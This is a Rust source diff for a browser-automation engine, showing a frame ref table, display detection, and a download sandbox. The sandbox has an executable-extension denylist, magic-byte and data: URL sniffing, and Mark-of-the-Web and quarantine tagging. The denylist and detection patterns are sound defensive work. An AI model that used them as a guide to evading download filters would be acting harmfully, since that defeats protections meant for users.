@@ -0,0 +1,153 @@
//! `f<seq>e<n>` ref 表 + 代际翻新(纯逻辑,无 CDP / 无 IO)。
//!
//! P1 的 observe 把页面表示成 aria-snapshot YAML;每个可操作元素用跨帧稳定的
//! ref `f<seq>e<n>`(frame 前缀 + frame-local 序号)锚定。本模块是 Rust 侧权威的
//! ref→记录 表:observe 每次重拍都新建一张表(`new_generation`),代际单调递增
//! (`wrapping_add(1)` 跳 0 哨兵,镜像 `nomi-a11y` windows actor 的写法)。
//! 旧代际的表与新代际相互隔离——新表为空,act 引用旧 ref 解析不到即视为 stale。
use std::collections::HashMap;
use crate::engine::SnapshotGen;
/// 帧前缀:`seq=3` -> `"f3"`。frame-local 序号在注入侧拼接为 `f<seq>e<n>`。
pub fn frame_prefix(seq: u32) -> String {
format!("f{seq}")
}
/// ref 表的一行:把一个 LLM-facing ref 解析回它的来源帧 + 角色/名字。
#[derive(Clone, Debug)]
pub struct RefRecord {
/// 该元素所属帧的 CDP session id(act 路由 CDP 命令时用)。
pub session_id: String,
/// 该元素所属帧的 frame id。
pub frame_id: String,
/// 注入侧渲染的完整 ref(含 prefix);P2 的 `aria-ref=` 反查用。
pub full_ref: String,
pub role: String,
pub name: String,
}
/// 某一代际下的权威 ref 表:`"f3e7"`(LLM-facing ref)→ [`RefRecord`]。
/// observe 每次重拍都 `new_generation` 出一张全新(空)表;旧表与新表代际不同,
/// 故旧 ref 在新表中解析不到——这正是 stale 检测的依据。
#[derive(Clone, Debug)]
pub struct RefTable {
generation: SnapshotGen,
/// key = LLM-facing ref(如 `"f3e7"`)。
map: HashMap<String, RefRecord>,
}
impl RefTable {
/// 新代际的空表:generation 单调递增,`wrapping_add(1)` 跳 0 哨兵
/// (`SnapshotGen(0)` 保留为初始哨兵,镜像 `nomi-a11y` windows actor)。
pub fn new_generation(prev: Option<&RefTable>) -> Self {
let next = match prev {
None => SnapshotGen(1),
Some(p) => {
let n = p.generation.0.wrapping_add(1);
SnapshotGen(if n == 0 { 1 } else { n })
}
};
Self {
generation: next,
map: HashMap::new(),
}
}
/// 登记一条 ref→记录。`llm_ref` 是 `f<seq>e<n>` 形式的 LLM-facing 句柄。
pub fn insert(&mut self, llm_ref: &str, rec: RefRecord) {
self.map.insert(llm_ref.to_string(), rec);
}
/// 把一个 LLM-facing ref 解析回它的记录;未登记(含旧代际遗留 ref)返回 None。
pub fn resolve(&self, llm_ref: &str) -> Option<&RefRecord> {
self.map.get(llm_ref)
}
/// 本表里属于某帧(`frame_id`)的全部 ref(C3 find_elements 取主帧某 ref 推前缀用)。
/// 顺序不保证(HashMap 迭代序);调用方只需取「任一」该帧 ref。
pub fn refs_for_frame<'a>(&'a self, frame_id: &'a str) -> impl Iterator<Item = &'a str> + 'a {
self.map
.iter()
.filter(move |(_, rec)| rec.frame_id == frame_id)
.map(|(k, _)| k.as_str())
}
/// 本表所属代际。
pub fn generation(&self) -> SnapshotGen {
self.generation
}
/// 仅测试:强制设代际,用于覆盖 wrapping 跳 0 边界。
#[cfg(test)]
pub fn force_generation(&mut self, g: SnapshotGen) {
self.generation = g;
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::engine::SnapshotGen;
#[test]
fn frame_prefix_renders() {
assert_eq!(frame_prefix(0), "f0");
assert_eq!(frame_prefix(3), "f3");
}
#[test]
fn generation_skips_zero_sentinel_and_wraps() {
let g1 = RefTable::new_generation(None);
assert_eq!(g1.generation(), SnapshotGen(1));
let g2 = RefTable::new_generation(Some(&g1));
assert_eq!(g2.generation(), SnapshotGen(2));
let mut gmax = RefTable::new_generation(None);
gmax.force_generation(SnapshotGen(u64::MAX));
let after = RefTable::new_generation(Some(&gmax));
assert_eq!(after.generation(), SnapshotGen(1)); // wrapping 跳 0 哨兵
}
#[test]
fn insert_resolve_and_generation_isolation() {
let mut t = RefTable::new_generation(None);
t.insert(
"f3e7",
RefRecord {
session_id: "S".into(),
frame_id: "F".into(),
full_ref: "f3e7".into(),
role: "button".into(),
name: "OK".into(),
},
);
assert_eq!(t.resolve("f3e7").unwrap().role, "button");
assert!(t.resolve("f9e1").is_none());
let t2 = RefTable::new_generation(Some(&t));
assert!(t2.resolve("f3e7").is_none()); // 新代际不含旧 ref
}
#[test]
fn refs_for_frame_filters_by_frame_id() {
// C3 find_elements 取主帧某 ref 推前缀:refs_for_frame 只返该帧的 ref。
let mut t = RefTable::new_generation(None);
let mk = |frame: &str, full: &str| RefRecord {
session_id: "S".into(),
frame_id: frame.into(),
full_ref: full.into(),
role: "button".into(),
name: "X".into(),
};
t.insert("f0e1", mk("MAIN", "f0e1"));
t.insert("f0e2", mk("MAIN", "f0e2"));
t.insert("f1e1", mk("CHILD", "f1e1"));
let main_refs: std::collections::HashSet<&str> = t.refs_for_frame("MAIN").collect();
assert_eq!(main_refs.len(), 2);
assert!(main_refs.contains("f0e1") && main_refs.contains("f0e2"));
let child_refs: Vec<&str> = t.refs_for_frame("CHILD").collect();
assert_eq!(child_refs, vec!["f1e1"]);
// 无此帧 → 空迭代器。
assert_eq!(t.refs_for_frame("NOPE").count(), 0);
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,6 @@
//! Browser backends. P0 ships a single [`cdp::CdpBackend`] (方案 A:自建 transport 发裸
//! CDP 命令,**不**用 chromiumoxide 高层 `Browser`/`Page`)。
pub mod cdp;
pub use cdp::CdpBackend;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,98 @@
//! 显示器探测:上层据此决定是否强制 headless 启动 Chromium。
//!
//! 无显示器(典型场景:无头 Linux 服务器、CI、SSH 无 X 转发)时
//! [`display_available`] 返回 `false`,调用方据此强制 `--headless`。
//!
//! 三平台分派:
//! - **Linux**:env 判定,与 `nomi-a11y` 的 `detect_caps`
//! (`crates/agent/nomi-a11y/src/linux/actor.rs`)**同源判据(简化版)** ——
//! `$WAYLAND_DISPLAY` 优先于 `$DISPLAY`。a11y 还参考 `$XDG_SESSION_TYPE`、用
//! `var_os`;此处对「是否有显示」这个布尔目的取等价的简化子集即可。纯逻辑
//! helper 不带 cfg 门控,故其单测可在任意宿主(含 Windows 开发机)真跑。
//! - **Windows**:`GetSystemMetrics(SM_CMONITORS)` 监视器数 > 0,
//! 复用 `windows` 0.61 绑定(与 nomi-a11y / nomi-computer 对齐)。
//! - **macOS**:`CGDisplay::active_display_count() > 0`,
//! 复用 `core-graphics` 0.25(与 nomi-a11y 对齐)提供的安全封装。
/// 是否存在可用的图形显示。无显示器时上层强制 headless 启动。
///
/// TODO(verify-linux): 纯逻辑 helper 已在 Windows 开发机单测;但**真实 env 分派**
/// (此分支)需在 Linux 上验证:有 X/Wayland→true、纯 headless server→false。
/// 见 docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md。
#[cfg(target_os = "linux")]
pub fn display_available() -> bool {
display_available_from(|k| std::env::var(k).ok())
}
/// 纯逻辑:给定读 env 的闭包,判断是否存在图形显示。Wayland 优先于 X11。
/// 不带 cfg 门控 —— 这样它的单测能在任意宿主(含 Windows 开发机)运行。
/// 在非 Linux 构建里仅测试消费它,故 allow(dead_code)。
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
pub(crate) fn display_available_from(get: impl Fn(&str) -> Option<String>) -> bool {
get("WAYLAND_DISPLAY").is_some() || get("DISPLAY").is_some()
}
/// 是否存在可用的图形显示。Windows 上恒有桌面会话即返回 `true`
/// (`SM_CMONITORS` 监视器数 > 0)。
#[cfg(target_os = "windows")]
pub fn display_available() -> bool {
use windows::Win32::UI::WindowsAndMessaging::{GetSystemMetrics, SM_CMONITORS};
// SAFETY: GetSystemMetrics 只读全局显示指标,无前置条件。
// SM_CMONITORS 返回当前桌面上的显示器数量(无显示器时为 0)。
let monitors = unsafe { GetSystemMetrics(SM_CMONITORS) };
monitors > 0
}
/// 是否存在可用的图形显示(macOS:活动显示器数 > 0)。
/// 无头/无显示 Mac(罕见)或显示全部休眠时为 `false`。
///
/// TODO(verify-macos): core-graphics `CGDisplay::active_display_count` 在 Windows
/// 宿主无法编译验证;需在 Mac 上 `cargo build/nextest -p nomi-browser-engine` 确认
/// 编译+链接+行为。见 docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md。
#[cfg(target_os = "macos")]
pub fn display_available() -> bool {
use core_graphics::display::CGDisplay;
// active_display_count() 是 core-graphics 对 CGGetActiveDisplayList 的安全封装:
// 先以 max_displays=0 调用拿到数量。失败(无窗口服务器等)按无显示处理。
CGDisplay::active_display_count()
.map(|n| n > 0)
.unwrap_or(false)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn no_display_env_means_unavailable() {
assert!(!display_available_from(|_| None));
}
#[test]
fn x11_display_present_means_available() {
assert!(display_available_from(
|k| if k == "DISPLAY" { Some(":0".into()) } else { None }
));
}
#[test]
fn wayland_display_present_means_available() {
assert!(display_available_from(|k| if k == "WAYLAND_DISPLAY" {
Some("wayland-0".into())
} else {
None
}));
}
#[test]
fn wayland_preferred_when_both_present() {
// 两者皆在时仍返回 available;helper 短路在 Wayland 上。
assert!(display_available_from(|k| match k {
"WAYLAND_DISPLAY" => Some("wayland-0".into()),
"DISPLAY" => Some(":0".into()),
_ => None,
}));
}
}
@@ -0,0 +1,735 @@
//! **E4:下载沙箱 + 可执行 denylist + 不自动打开 + Win MOTW**(DESIGN §16 / P2 裁决⑩)。
//!
//! 三条铁律(与 DESIGN §16「下载沙箱」一行对齐):
//! 1. **隔离落点**:下载经 `Browser.setDownloadBehavior{behavior:"allowAndName"}` 落进
//! **per-pet workspace 的隔离 `downloads/` 子目录**([`download_dir`])——**绝不**落用户真实
//! Downloads。`allowAndName` 让 Chrome 用下载 GUID 命名落盘文件,规避「同名覆盖 / 路径穿越」
//! 类攻击(攻击者无法预测/控制最终文件名)。
//! 2. **不自动打开**:下载完成**绝不** shell-execute / 启动 / 打开文件。本模块只把文件留在隔离
//! 目录 + 打 MOTW 标记;是否进一步处理由上层(用户)显式发起。
//! 3. **可执行红线**:命中 [`is_executable_denylist`] 的下载,在 **yolo / companion 无 UI 场景也
//! fail-closed 拒绝**(裁决⑧/⑩「会话红线」)。E4 提供 **denylist 纯函数** + **拒绝判定**
//! ([`reject_executable_download`] 返 [`BrowserError::Blocked`]);真正的 facade enforcement
//! 接线由 F1(`BrowserTool::execute` 独立 fail-closed 门)落实——见
//! `TODO(E4->F1-enforce-download-redline)`。
//!
//! **Win MOTW**(Mark-of-the-Web,Windows 专属):下载文件写 `Zone.Identifier`
//! [Alternate Data Stream](https://learn.microsoft.com/windows/win32/fileio/file-streams)
//! (ADS),内容 `[ZoneTransfer]\r\nZoneId=3`(3 = Internet 区),触发 SmartScreen 信誉检查 /
//! Office「受保护的视图」。见 [`write_motw`]。**macOS 等价**:显式设 `com.apple.quarantine`
//! xattr(Gatekeeper),见 [`write_motw`] 的 mac 分支。**Linux** 无内核级等价 → no-op(仅靠隔离
//! 目录 + denylist + 不自动打开)——登记在
//! `docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md` 的 `TODO(verify-linux)`。
use std::path::{Path, PathBuf};
use base64::Engine as _;
use crate::engine::BrowserError;
/// per-pet workspace 下的隔离下载子目录名。下载**只**落 `<workspace>/<DOWNLOAD_SUBDIR>/`,
/// 与会话产物/知识库等其它子目录平级隔离,且**绝不**指向用户真实 Downloads。
pub const DOWNLOAD_SUBDIR: &str = "downloads";
/// MOTW(Mark-of-the-Web)`Zone.Identifier` ADS 的内容。
///
/// `ZoneId=3` = `URLZONE_INTERNET`(来自 Internet)——这是触发 Windows SmartScreen 信誉检查 +
/// Office「受保护的视图」的关键值。`[ZoneTransfer]` 段头 + CRLF 行尾是 Windows 约定格式
/// (NTFS ADS 里 Explorer/Office 解析的就是这个 INI 形态)。
pub const MOTW_ZONE_INTERNET: &str = "[ZoneTransfer]\r\nZoneId=3\r\n";
/// 解析 per-pet workspace 的隔离下载目录 `<workspace>/downloads`。
///
/// `Browser.setDownloadBehavior` 的 `downloadPath` 用它(绝对路径)。调用方负责确保它存在
/// ([`ensure_download_dir`])。**红线**:本函数只在传入的 workspace 下拼子目录——传入的
/// workspace 必须是 per-pet 隔离 workspace(companion.rs 的 `{companion_id}/workspace`),
/// **绝不**是用户 Downloads / Home。
pub fn download_dir(workspace: &Path) -> PathBuf {
workspace.join(DOWNLOAD_SUBDIR)
}
/// best-effort mkdir 隔离下载目录并返回其绝对路径字符串(`setDownloadBehavior.downloadPath` 用)。
///
/// 失败不 panic:返回路径串照常(chrome 落盘时会自己尝试建,或下载失败由事件层观测到)——但
/// 会 `warn`。`downloadPath` CDP 要求绝对路径,故对相对 workspace 先 canonicalize 不可行(目录可能
/// 还不存在),改为:建目录成功后用 `dunce`/原样 lossy 串(与 companion.rs `ensure_workspace_dir`
/// 同范式:`to_string_lossy`)。
pub fn ensure_download_dir(workspace: &Path) -> String {
let dir = download_dir(workspace);
if let Err(e) = std::fs::create_dir_all(&dir) {
tracing::warn!(error = %e, dir = %dir.display(), "create browser download dir failed");
}
dir.to_string_lossy().into_owned()
}
/// **可执行 / 脚本扩展名 denylist(纯逻辑,本模块重点单测)**。
///
/// 命中 = 该文件名以一个**可执行 / 可被解释执行 / 危险**的扩展名结尾(大小写不敏感)。覆盖:
/// - Windows PE / 安装包 / 快捷方式:`exe msi scr com pif cpl dll sys drv`
/// - 脚本宿主:`bat cmd ps1 psm1 ps1xml vbs vbe js jse wsf wsh hta`
/// - 跨平台脚本 / 归档可执行:`sh bash zsh py pyc pl rb jar app reg`
/// - 其它已知滥用面:`lnk gadget inf scf url` 等
///
/// **多重扩展名处理**(裁决⑩点名 `foo.txt.exe`):判定只看**最后一个** `.` 后的 token——
/// `foo.txt.exe` 命中(最后是 `.exe`),`foo.exe.txt` 不命中(最后是 `.txt`,已被 OS 当文本)。
/// 这与 Windows「按最后扩展名决定关联程序」的真实执行语义一致:危险的是「最终会被当可执行打开」
/// 的尾扩展名。
///
/// 无扩展名(`README` / `noext`)**不命中**——无尾扩展名则 OS 不会自动当可执行启动(且
/// `allowAndName` 会用 GUID 命名,进一步消解)。
pub fn is_executable_denylist(filename: &str) -> bool {
// 取最后一个 '.' 之后的扩展名(多重扩展名只看尾部,见 doc)。无 '.' → 无扩展名 → 不命中。
// 注意:用 rsplit_once 而非 Path::extension,避免 `foo.` 之类边角;同时显式处理路径分隔符
//(传入可能含目录前缀的 suggestedFilename),只取最后一段文件名再取扩展名。
let name = filename
.rsplit(['/', '\\'])
.next()
.unwrap_or(filename)
.trim();
let Some((_stem, ext)) = name.rsplit_once('.') else {
return false; // 无扩展名
};
if ext.is_empty() {
return false; // 形如 "foo."(尾点无扩展名)
}
let ext = ext.to_ascii_lowercase();
DENY_EXTENSIONS.contains(&ext.as_str())
}
/// 可执行 / 脚本 / 危险扩展名集合(小写,无前导点)。比对前把候选 ext `to_ascii_lowercase`
/// 故此处只列小写。来源:Windows「不安全附件」清单 + 常见脚本宿主 + 跨平台可执行。
const DENY_EXTENSIONS: &[&str] = &[
// ── Windows PE / 安装包 / 系统模块 ──
"exe", "msi", "msp", "mst", "scr", "com", "pif", "cpl", "dll", "sys", "drv", "ocx",
// ── Windows 快捷方式 / 配置可被滥用执行 ──
"lnk", "scf", "inf", "reg", "gadget", "url",
// ── 脚本宿主(cmd / WSH / PowerShell / HTA)──
"bat", "cmd", "ps1", "psm1", "psd1", "ps1xml", "vbs", "vbe", "js", "jse", "wsf", "wsh",
"hta", "msh", "msh1", "msh2", "mshxml",
// ── 跨平台脚本 / 解释器 ──
"sh", "bash", "zsh", "ksh", "csh", "py", "pyc", "pyo", "pyw", "pl", "rb", "php",
// ── 归档可执行 / 应用包 ──
"jar", "app", "apk", "dmg", "pkg", "deb", "rpm", "appimage", "run", "bin", "elf", "out",
];
/// **可执行下载红线拒绝判定(裁决⑩)**:命中 [`is_executable_denylist`] → `Err(Blocked)`。
///
/// E4 只提供**判定逻辑**(纯函数,返 [`BrowserError::Blocked`]);**实际 enforcement 接线**(在
/// `BrowserTool::execute` 把它接到 yolo/companion 也不旁路的独立 fail-closed 门上)由 **F1** 做。
///
/// 红线语义(DESIGN §16「会话红线(yolo/companion 无 UI 也 fail-closed 拒绝)」含「可执行下载」):
/// 一旦命中,**无论 session_mode(yolo/companion 也罢)都拒**——这正是「不靠被旁路的 orchestration
/// 审批闸、靠独立门」的体现。故本函数**不吃 session_mode**:命中即拒,无放行参数。
///
/// `Ok(())` = 文件名安全(非可执行),可放行下载。
///
/// TODO(E4->F1-enforce-download-redline): F1 在 facade `do_download`/下载触发的动作分支调用本判定,
/// 命中即 hard-deny 返回(不经 orchestration)。E4 此处仅提供判定 + 单测。
pub fn reject_executable_download(filename: &str) -> Result<(), BrowserError> {
if is_executable_denylist(filename) {
return Err(BrowserError::Blocked {
reason: format!(
"executable/script download blocked (red-line, denied even under yolo/companion): {filename}"
),
});
}
Ok(())
}
/// **Magic-bytes content sniffing** — detect executable/script content by inspecting the first
/// bytes of a payload. Only the **first ~16 bytes** are needed (all signatures fit within that).
///
/// Detected signatures:
/// - **ELF** (Linux/BSD executable): `7F 45 4C 46` (`.ELF`)
/// - **Mach-O** (macOS executable, 4 variants):
/// - 32-bit big-endian: `FE ED FA CE`
/// - 32-bit little-endian: `CE FA ED FE`
/// - 64-bit big-endian: `FE ED FA CF`
/// - 64-bit little-endian: `CF FA ED FE`
/// - **Mach-O Universal/Fat binary**: `CA FE BA BE`
/// - **PE/DOS** (Windows executable): `4D 5A` (`MZ`)
/// - **Shell script (shebang)**: `23 21` (`#!`)
///
/// Returns `true` if the bytes match any known executable/script magic.
pub fn sniff_is_executable(bytes: &[u8]) -> bool {
// Need at least 2 bytes for the shortest signature (#! / MZ).
if bytes.len() < 2 {
return false;
}
// PE/DOS — "MZ"
if bytes[0] == 0x4D && bytes[1] == 0x5A {
return true;
}
// Shell shebang — "#!"
if bytes[0] == 0x23 && bytes[1] == 0x21 {
return true;
}
if bytes.len() >= 4 {
let magic4 = [bytes[0], bytes[1], bytes[2], bytes[3]];
match magic4 {
// ELF
[0x7F, 0x45, 0x4C, 0x46] => return true,
// Mach-O 32-bit big-endian
[0xFE, 0xED, 0xFA, 0xCE] => return true,
// Mach-O 32-bit little-endian
[0xCE, 0xFA, 0xED, 0xFE] => return true,
// Mach-O 64-bit big-endian
[0xFE, 0xED, 0xFA, 0xCF] => return true,
// Mach-O 64-bit little-endian
[0xCF, 0xFA, 0xED, 0xFE] => return true,
// Mach-O Universal/Fat binary
[0xCA, 0xFE, 0xBA, 0xBE] => return true,
_ => {}
}
}
false
}
/// Check whether a `data:` URL contains executable content by **decoding and sniffing** its
/// payload's magic bytes.
///
/// - If `url` does not start with `data:` → returns `false` (this check is data:-specific;
/// network downloads are covered by the filename denylist + landed-file paths).
/// - Parses the data: URL structure: `data:[<mediatype>][;base64],<data>`.
/// - Decodes the payload: base64 if `;base64` is present, otherwise percent-decodes.
/// - Sniffs only the **first 16 decoded bytes** (all magic signatures fit within that) to avoid
/// fully decoding potentially huge payloads.
/// - Returns `false` on any parse/decode error — this is an **additive** block; a malformed
/// `data:` URL isn't a provable executable, so we don't false-block (the filename denylist +
/// other layers still apply).
pub fn data_url_is_executable(url: &str) -> bool {
// Only applies to data: URLs.
let data_content = match url.strip_prefix("data:") {
Some(content) => content,
None => return false,
};
// Split on the first comma — everything before is the media type + parameters,
// everything after is the payload.
let Some((header, payload)) = data_content.split_once(',') else {
return false; // Malformed: no comma → can't parse → not provably executable.
};
let is_base64 = header
.split(';')
.any(|part| part.trim().eq_ignore_ascii_case("base64"));
// Decode just enough bytes for sniffing (first ~16 decoded bytes).
// For base64: 16 decoded bytes = ceil(16*4/3) = 22 base64 chars (plus possible padding).
// We take the first 24 base64 chars to be safe, decode them.
let decoded_prefix: Vec<u8> = if is_base64 {
// Take only the first 24 chars of the payload (produces ≥16 decoded bytes).
let prefix = if payload.len() > 24 {
&payload[..24]
} else {
payload
};
// base64 decode — use the forgiving decoder (STANDARD handles padding).
match base64::engine::general_purpose::STANDARD.decode(prefix) {
Ok(bytes) => bytes,
// Try without padding (some data: URLs omit trailing '=').
Err(_) => {
// Pad to a multiple of 4 and retry.
let pad_len = (4 - prefix.len() % 4) % 4;
let padded = format!("{}{}", prefix, &"===="[..pad_len]);
match base64::engine::general_purpose::STANDARD.decode(&padded) {
Ok(bytes) => bytes,
Err(_) => return false, // Can't decode → not provably executable.
}
}
}
} else {
// Percent-decode the first 16 bytes worth.
// Take a generous prefix of the raw text (percent-encoded bytes are 3 chars each,
// so 48 chars can produce at least 16 decoded bytes).
let prefix = if payload.len() > 48 {
&payload[..48]
} else {
payload
};
percent_decode_bytes(prefix)
};
if decoded_prefix.is_empty() {
return false;
}
sniff_is_executable(&decoded_prefix)
}
/// Simple percent-decoding that returns raw bytes. Only decodes `%XX` sequences;
/// other bytes pass through as-is. Returns empty Vec on any malformed sequence.
fn percent_decode_bytes(input: &str) -> Vec<u8> {
let mut result = Vec::with_capacity(input.len());
let bytes = input.as_bytes();
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%' {
if i + 2 >= bytes.len() {
// Malformed — return what we have so far (best-effort).
break;
}
let hi = hex_val(bytes[i + 1]);
let lo = hex_val(bytes[i + 2]);
match (hi, lo) {
(Some(h), Some(l)) => {
result.push((h << 4) | l);
i += 3;
}
_ => {
// Malformed hex — pass through the '%' as-is.
result.push(bytes[i]);
i += 1;
}
}
} else {
result.push(bytes[i]);
i += 1;
}
}
result
}
/// Convert an ASCII hex character to its numeric value (0–15).
fn hex_val(b: u8) -> Option<u8> {
match b {
b'0'..=b'9' => Some(b - b'0'),
b'a'..=b'f' => Some(b - b'a' + 10),
b'A'..=b'F' => Some(b - b'A' + 10),
_ => None,
}
}
/// **Win MOTW**:给下载文件写 `Zone.Identifier` ADS(标记来自 Internet,触发 SmartScreen /
/// Office 受保护视图)。
///
/// NTFS ADS 写法:对路径 `C:\dir\file.pdf` 打开 `C:\dir\file.pdf:Zone.Identifier` 这个备用数据流
/// (Windows 文件系统 API 直接支持 `path:streamname` 语法),写入 [`MOTW_ZONE_INTERNET`]。
///
/// **仅 NTFS 有效**:FAT32/exFAT 无 ADS——写会失败(`io::Error`),但本函数 best-effort 调用方
/// 应吞错(MOTW 是纵深防御附加层,缺失不致命)。
#[cfg(windows)]
pub fn write_motw(path: &Path) -> std::io::Result<()> {
// ADS 语法:在文件路径后接 `:Zone.Identifier`。用 display() 得到平台原生路径串再拼流名。
let ads_path = format!("{}:Zone.Identifier", path.display());
std::fs::write(ads_path, MOTW_ZONE_INTERNET)
}
/// **macOS MOTW 等价**:给下载文件设 `com.apple.quarantine` 扩展属性(Gatekeeper 在打开
/// 可执行/归档类时校验)。
///
/// 经 CDP(`setDownloadBehavior allowAndName`)控制的下载,chrome **自身**也会经 `LSFileQuarantine`
/// 落 quarantine(agent=`Chrome`,形态更全:含源 URL + 事件 UUID 链 `LSQuarantineEvent`)——但**并非
/// 所有源都落**(实测 `data:`/`blob:`/部分 `file:` 源时缺失),且其写入与本回调(`downloadProgress
/// completed`)**异步竞争**、先后不定。故此处**兜底补设**,与 Windows 分支显式写 `Zone.Identifier`
/// 对称(纵深防御,不赌浏览器行为)。
///
/// **关键:用 `XATTR_CREATE`(仅当不存在才设),不覆盖 chrome 原生 quarantine**——chrome 已设则我们
/// 的 barebones 值(无源 URL/UUID)反而是降级,故让 chrome 的更全形态优先;chrome 未设时我们填空。
/// 已存在(chrome 或前次已落)→ `EEXIST`,视作**成功**(安全目标=文件已被 quarantine 已达成)。
/// 值格式照搬系统真实下载形态 `<flags>;<hex epoch secs>;<agent>;<event-uuid>`:flags `0081` = 来自
/// web、用户尚未放行(实测系统 Edge/Safari/Chrome 下载即此值),agent 用 `NomiFun`,event-uuid 留空。
///
/// best-effort:失败返 `io::Error` 由调用方吞日志(MOTW 是纵深防御附加层,缺失不致命;
/// 可执行下载的硬防线是 [`reject_executable_download`] 的 denylist,不靠 quarantine)。
#[cfg(target_os = "macos")]
pub fn write_motw(path: &Path) -> std::io::Result<()> {
use std::ffi::CString;
use std::os::unix::ffi::OsStrExt;
let secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
// <flags>;<hex epoch>;<agent>;<event-uuid>(uuid 留空,对齐系统真实下载形态)。
let value = format!("0081;{secs:x};NomiFun;");
let c_path = CString::new(path.as_os_str().as_bytes())
.map_err(|e| std::io::Error::new(std::io::ErrorKind::InvalidInput, e))?;
let c_name = CString::new("com.apple.quarantine").expect("static name has no interior NUL");
// SAFETY: setxattr 只按 (path, name, value, size) 读我们提供的、本帧栈上存活的 C 串/字节
// 缓冲;position=0(非资源 fork 偏移)、options=XATTR_CREATE(仅当 quarantine 不存在才设,
// 不覆盖 chrome 原生更全的 quarantine——见上 doc)。返回 0 成功,-1 设 errno。
let ret = unsafe {
libc::setxattr(
c_path.as_ptr(),
c_name.as_ptr(),
value.as_ptr() as *const libc::c_void,
value.len(),
0,
libc::XATTR_CREATE,
)
};
if ret != 0 {
let err = std::io::Error::last_os_error();
// EEXIST = chrome(或前次)已落 quarantine → 文件已被标记,安全目标已达成,视作成功(不降级覆盖)。
if err.raw_os_error() == Some(libc::EEXIST) {
return Ok(());
}
return Err(err);
}
Ok(())
}
/// **Linux/其它 Unix**:无内核级 MOTW/quarantine 等价机制(freedesktop `metadata::trust`
/// 提案未普及),保持空实现——下载隔离靠落 per-pet workspace + 可执行 denylist + 不自动打开。
///
/// TODO(verify-linux): 登记在 `docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md`。
#[cfg(all(not(windows), not(target_os = "macos")))]
pub fn write_motw(_path: &Path) -> std::io::Result<()> {
// linux/其它:无 ADS、无 quarantine 等价,no-op。
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
// ── [纯逻辑] 可执行 denylist ───────────────────────────────────────────────
#[test]
fn denylist_hits_common_executables_and_scripts() {
for name in [
"setup.exe",
"installer.msi",
"payload.bat",
"payload.cmd",
"script.ps1",
"module.psm1",
"screensaver.scr",
"legacy.com",
"macro.vbs",
"loader.js",
"applet.jar",
"lib.dll",
"tool.sh",
"Some.App", // .app(mac 应用包)大小写后命中
] {
assert!(
is_executable_denylist(name),
"expected denylist HIT for {name:?}"
);
}
}
#[test]
fn denylist_misses_benign_documents() {
for name in [
"report.txt",
"invoice.pdf",
"photo.png",
"data.csv",
"archive.zip", // zip 本身非可执行(不自动运行;解压才是上层的事)
"music.mp3",
"page.html",
"config.json",
"sheet.xlsx",
] {
assert!(
!is_executable_denylist(name),
"expected denylist MISS for {name:?}"
);
}
}
#[test]
fn denylist_handles_double_extension_attack() {
// 裁决⑩点名:foo.txt.exe(伪装成文本的可执行)——尾扩展名 .exe → 命中。
assert!(is_executable_denylist("foo.txt.exe"));
assert!(is_executable_denylist("invoice.pdf.scr"));
assert!(is_executable_denylist("photo.png.bat"));
// 反向:foo.exe.txt 的尾扩展名是 .txt(OS 会当文本)→ 不命中(与真实执行语义一致)。
assert!(!is_executable_denylist("foo.exe.txt"));
assert!(!is_executable_denylist("malware.scr.pdf"));
}
#[test]
fn denylist_is_case_insensitive() {
assert!(is_executable_denylist("SETUP.EXE"));
assert!(is_executable_denylist("Script.Ps1"));
assert!(is_executable_denylist("PAYLOAD.BaT"));
assert!(is_executable_denylist("file.MSI"));
}
#[test]
fn denylist_misses_no_extension() {
// 无扩展名:OS 不自动当可执行启动(且 allowAndName 用 GUID 命名)→ 不命中。
assert!(!is_executable_denylist("README"));
assert!(!is_executable_denylist("noext"));
assert!(!is_executable_denylist("Makefile"));
// 尾点无扩展名("foo.")→ 不命中。
assert!(!is_executable_denylist("foo."));
}
#[test]
fn denylist_strips_directory_prefix_in_suggested_filename() {
// suggestedFilename 偶含路径前缀;只取最后一段文件名再判扩展名。
assert!(is_executable_denylist("subdir/setup.exe"));
assert!(is_executable_denylist("a\\b\\payload.bat"));
assert!(!is_executable_denylist("setup.exe/report.txt")); // 最后一段是 report.txt
}
#[test]
fn denylist_trims_whitespace() {
assert!(is_executable_denylist(" setup.exe "));
assert!(!is_executable_denylist(" report.txt "));
}
// ── [纯逻辑] 红线拒绝判定 ───────────────────────────────────────────────────
#[test]
fn reject_executable_download_blocks_executables() {
let e = reject_executable_download("setup.exe").unwrap_err();
assert!(
matches!(e, BrowserError::Blocked { .. }),
"executable download must be Blocked, got {e:?}"
);
// 拒绝文案含红线语义关键词(yolo/companion 也拒)+ 文件名(便于审计)。
let msg = format!("{e}");
assert!(msg.contains("setup.exe"), "blocked reason should name the file: {msg}");
assert!(
msg.contains("red-line") || msg.contains("yolo"),
"blocked reason should signal red-line semantics: {msg}"
);
}
#[test]
fn reject_executable_download_allows_benign() {
assert!(reject_executable_download("invoice.pdf").is_ok());
assert!(reject_executable_download("data.csv").is_ok());
assert!(reject_executable_download("foo.txt.exe").is_err()); // 多扩展名仍拒
}
// ── [纯逻辑] MOTW 内容格式 ──────────────────────────────────────────────────
#[test]
fn motw_content_is_internet_zone_with_crlf() {
// ZoneId=3 = Internet 区(触发 SmartScreen / Office 受保护视图)。
assert!(MOTW_ZONE_INTERNET.contains("[ZoneTransfer]"));
assert!(MOTW_ZONE_INTERNET.contains("ZoneId=3"));
// Windows ADS 约定 CRLF 行尾。
assert!(MOTW_ZONE_INTERNET.contains("\r\n"));
// 不含其它 ZoneId(避免误标为本地/可信区)。
assert!(!MOTW_ZONE_INTERNET.contains("ZoneId=0"));
assert!(!MOTW_ZONE_INTERNET.contains("ZoneId=1"));
assert!(!MOTW_ZONE_INTERNET.contains("ZoneId=2"));
}
// ── [纯逻辑] 隔离下载目录路径 ───────────────────────────────────────────────
#[test]
fn download_dir_is_downloads_subdir_of_workspace() {
